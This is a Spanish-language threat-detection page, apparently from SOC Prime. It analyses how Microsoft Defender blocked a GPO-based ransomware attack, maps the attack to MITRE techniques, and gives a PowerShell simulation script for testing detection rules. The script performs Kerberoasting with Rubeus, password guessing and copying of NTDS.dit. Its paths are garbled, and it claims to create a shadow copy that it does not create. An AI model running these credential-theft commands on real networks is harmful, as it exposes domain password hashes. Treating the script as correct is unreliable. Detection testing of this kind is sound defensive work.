SOC Prime Bias: Alto

27 Mar 2026 16:45

Estudio de caso: Cómo el escudo predictivo de Defender bloqueó un ransomware basado en GPO antes de su ejecución

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Estudio de caso: Cómo el escudo predictivo de Defender bloqueó un ransomware basado en GPO antes de su ejecución
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Microsoft Defender interrumpió un ataque de ransomware operado por humanos dirigido a una gran organización educativa al detectar el abuso de los Objetos de Directiva de Grupo (GPO) utilizados para debilitar configuraciones de seguridad y distribuir ransomware a través de tareas programadas.

Investigación

Los atacantes comprometieron una cuenta de administrador de dominio, realizaron enumeración de Active Directory, fuerza bruta de credenciales, recolectaron tickets de Kerberos y datos de NTDS, crearon cuentas locales falsas y desplegaron GPOs malintencionados para imponer una política de manipulación y activar la entrega de ransomware a través de tareas programadas.

Mitigación

El blindaje predictivo de Defender identificó la actividad maliciosa de GPO, aplicó endurecimiento temporal del GPO, bloqueó el despliegue de ransomware en tareas programadas y previno la encriptación en el 97% de los dispositivos.

Respuesta

Una vez detectado, los defensores deben habilitar inmediatamente el endurecimiento del GPO, contener cuentas comprometidas, bloquear el tráfico SMB sospechoso e investigar métodos adicionales de persistencia, incluida la creación no autorizada de cuentas locales.

"graph TB %% Definiciones de Clase classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef builtin fill:#cccccc %% Nodos de Reconocimiento recon_action["<b>Acción</b> – Reconocimiento<br/>Utilizó AD Explorer para enumerar Active Directory y realizó adivinanzas de contraseñas."] class recon_action action recon_brute["<b>Técnica</b> – T1110 Fuerza Bruta: Adivinanza de Contraseñas<br/><b>Descripción</b> Intenta adivinar contraseñas utilizando ensayo y error."] class recon_brute technique recon_account["<b>Técnica</b> – T1087.002 Descubrimiento de Cuentas: Cuenta de Dominio<br/><b>Descripción</b> Enumera cuentas de usuarios de dominio."] class recon_account technique recon_gpo["<b>Técnica</b> – T1615 Descubrimiento de Política de Grupo<br/><b>Descripción</b> Recupera configuraciones de Políticas de Grupo de los controladores de dominio."] class recon_gpo technique %% Conexiones de Reconocimiento recon_action –>|utiliza| recon_brute recon_action –>|descubre| recon_account recon_action –>|descubre| recon_gpo %% Nodos de Acceso a Credenciales action_cred["<b>Acción</b> – Acceso a Credenciales<br/>Realizó Kerberoasting y vació NTDS.dit."] class action_cred action tech_kerb["<b>Técnica</b> – T1558.003 Kerberoasting<br/><b>Descripción</b> Solicita tickets de servicio y los descifra fuera de línea."] class tech_kerb technique tech_ntds["<b>Técnica</b> – T1003.003 Volcado de Credenciales del SO: NTDS<br/><b>Descripción</b> Extrae hashes de contraseña de la base de datos de Active Directory."] class tech_ntds technique %% Conexiones de Acceso a Credenciales action_cred –>|utiliza| tech_kerb action_cred –>|utiliza| tech_ntds %% Nodos de Persistencia action_persist["<b>Acción</b> – Persistencia<br/>Creó cuentas locales nuevas en hosts comprometidos."] class action_persist action tech_create_local["<b>Técnica</b> – T1136.001 Crear Cuenta: Cuenta Local<br/><b>Descripción</b> Agrega cuentas de usuario locales para acceso continuo."] class tech_create_local technique %% Conexiones de Persistencia action_persist –>|utiliza| tech_create_local %% Nodos de Movimiento Lateral action_lateral["<b>Acción</b> – Movimiento Lateral<br/>Utilizó credenciales de dominio robadas para acceder a comparticiones administrativas remotas vía SMB."] class action_lateral action tech_smb["<b>Técnica</b> – T1021.002 Servicios Remotos Comparticiones SMB/Administrativas de Windows<br/><b>Descripción</b> Aprovecha comparticiones SMB para movimiento lateral."] class tech_smb technique %% Conexiones de Movimiento Lateral action_lateral –>|utiliza| tech_smb %% Nodos de Evasión de Defensa action_evasion["<b>Acción</b> – Evasión de Defensa<br/>Desplegó GPO malicioso para deshabilitar Microsoft Defender."] class action_evasion action tech_gpo_mod["<b>Técnica</b> – T1484 Modificación de Política de Dominio o Inquilino<br/><b>Descripción</b> Altera Objetos de Política de Grupo para cambiar configuraciones de seguridad."] class tech_gpo_mod technique tech_impair["<b>Técnica</b> – T1562.001 Deshabilitar o Modificar Herramientas de Defensa<br/><b>Descripción</b> Apaga o modifica herramientas de seguridad."] class tech_impair technique %% Conexiones de Evasión de Defensa action_evasion –>|modifica| tech_gpo_mod action_evasion –>|deshabilita| tech_impair %% Nodos de Preparación de Impacto action_impact["<b>Acción</b> – Preparación de Impacto<br/>Creó tarea programada vía GPO para copiar y ejecutar archivos en todas las máquinas del dominio."] class action_impact action tech_scheduled["<b>Técnica</b> – T1053 Tarea/Trabajo Programado<br/><b>Descripción</b> Programa la ejecución de comandos en tiempos definidos."] class tech_scheduled technique tech_cmd["<b>Técnica</b> – T1059.003 Intérprete de Comandos y Scripts Shell de Comandos de Windows<br/><b>Descripción</b> Ejecuta archivos por lotes usando cmd.exe."] class tech_cmd technique tech_rundll["<b>Técnica</b> – T1218.011 Ejecución de Proxies Binarios del Sistema Rundll32<br/><b>Descripción</b> Carga DLLs maliciosas vía rundll32.exe."] class tech_rundll technique %% Conexiones de Preparación de Impacto action_impact –>|crea| tech_scheduled action_impact –>|ejecuta| tech_cmd action_impact –>|utiliza| tech_rundll %% Nodos de Despliegue de Ransomware action_ransom["<b>Acción</b> – Despliegue de Ransomware<br/>La carga útil intenta cifrar archivos; Defender bloqueó la propagación de GPO en muchos dispositivos."] class action_ransom action tech_encrypt["<b>Técnica</b> – T1486 Datos Cifrados para Impacto<br/><b>Descripción</b> Cifra datos de la víctima para exigir un rescate."] class tech_encrypt technique %% Conexiones de Despliegue de Ransomware action_ransom –>|utiliza| tech_encrypt %% Secuencia General del Flujo recon_action –>|lleva_a| action_cred action_cred –>|lleva_a| action_persist action_persist –>|lleva_a| action_lateral action_lateral –>|lleva_a| action_evasion action_evasion –>|lleva_a| action_impact action_impact –>|lleva_a| action_ransom "

Flujo de Ataque

Ejecución de Simulación

Prerequisito: El chequeo previo de Telemetría y Línea Base debe haber pasado.

Motivo: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el narrativo DEBEN reflejar directamente los TTP identificados y apuntan a generar exactamente la telemetría esperada por la lógica de detección.

Narrativa del Ataque y Comandos

  1. Enumeración de Active Directory con ADExplorer – Un atacante utiliza la utilidad living‑off‑the‑land ADExplorer.exe para explorar la base de datos de AD, generando un evento de creación de proceso que coincide con Imagen|termina con: 'ADExplorer.exe'.

  2. Fuerza Bruta de Credenciales (T1110) – El atacante realiza un rociado de contraseñas contra una cuenta de dominio, provocando inicios de sesión fallidos repetidos (Evento 4625) con el motivo de falla %#13 (“El usuario ha intentado iniciar sesión desde un dominio no confiable”).

  3. Kerberoasting (T1558.003) – Utilizando la herramienta de código abierto Rubeus, el atacante solicita tickets de servicio de Kerberos para SPNs de cuentas de computadora (por ejemplo, HOST01$). Cada solicitud produce el Evento 4769 donde Nombre del Servicio termina con $.

  4. Volcado de NTDS (T1003.003) – El atacante crea una Copia Sombra de Volumen de la unidad del sistema y extrae NTDS.dit usando ntdsutil, provocando el Evento 4662 con Tipo de Objeto = "ds" and Tipo de Operación = "Replicación".

Las cuatro acciones se ejecutan en el mismo host dentro de una ventana de 5 minutos para emular una fase realista de “recolección” posterior al compromiso.

Guion de Prueba de Regresión

# -------------------------------------------------
# Guion de Simulación – Activa las cuatro rutas de detección
# -------------------------------------------------

# 1. Ejecución de ADExplorer (creación de proceso)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer no encontrado – descarga de marcador de posición para prueba."
    # Simula copiando cualquier exe al nombre esperado
    Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. Intentos de inicio de sesión por fuerza bruta (4625 con %#13)
$domain = "CONTOSO"
$user   = "testuser"
$badPwd = "ContraseñaIncorrecta123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Kerberoasting vía Rubeus (requiere Rubeus.exe en PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus no encontrado – omitiendo el paso de Kerberoasting."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. Extracción de NTDS.dit utilizando VSS (replicación 4662)
# Crear una copia sombra VSS y copiar NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "Simulación completa. Toda la telemetría debería ser ingerida."

Comandos de Limpieza

# -------------------------------------------------
# Limpieza – elimina artefactos creados por la simulación
# -------------------------------------------------

# Elimina ADExplorer falso si fue creado
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Elimina volcado de Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# Elimina volcado de NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# Limpia cualquier copia sombra creada (requiere administrador)
# vssadmin delete shadows /all /quiet

Write-Host "Limpieza terminada."